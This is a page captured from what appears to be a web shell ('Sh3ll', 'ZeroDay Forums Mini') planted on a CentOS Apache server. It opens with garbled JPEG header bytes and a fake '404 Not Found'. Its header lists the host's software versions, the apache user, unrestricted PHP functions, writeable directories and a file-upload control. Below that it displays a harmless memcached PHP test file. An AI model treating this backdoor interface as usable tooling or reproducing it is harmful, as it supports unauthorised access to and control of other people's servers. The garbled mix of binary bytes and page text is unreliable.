����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/usr/share/tests/pecl/memcached/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/share/tests/pecl/memcached/tests/getserverbykey.phpt
--TEST--
Memcached::getServerByKey()
--SKIPIF--
<?php include "skipif.inc";?>
--FILE--
<?php
error_reporting(0);

$m = new Memcached();
var_dump($m->getServerByKey("a"));

$m->addServer('localhost', 11211, 1);
$m->addServer('localhost', 11212, 1);
$m->addServer('localhost', 11213, 1);
$m->addServer('localhost', 11214, 1);
$m->addServer('localhost', 11215, 1);

var_dump($m->getServerByKey(""));
echo $m->getResultMessage(), "\n";
var_dump($m->getServerByKey("a"));
var_dump($m->getServerByKey("b"));
var_dump($m->getServerByKey("c"));
var_dump($m->getServerByKey("d"));
--EXPECTF--
bool(false)
bool(false)
A BAD KEY WAS PROVIDED/CHARACTERS OUT OF RANGE
array(%d) {
  ["host"]=>
  string(%d) "%s"
  ["port"]=>
  int(%d)
  ["weight"]=>
  int(0)
}
array(%d) {
  ["host"]=>
  string(%d) "%s"
  ["port"]=>
  int(%d)
  ["weight"]=>
  int(0)
}
array(%d) {
  ["host"]=>
  string(%d) "%s"
  ["port"]=>
  int(%d)
  ["weight"]=>
  int(0)
}
array(%d) {
  ["host"]=>
  string(%d) "%s"
  ["port"]=>
  int(%d)
  ["weight"]=>
  int(0)
}

ZeroDay Forums Mini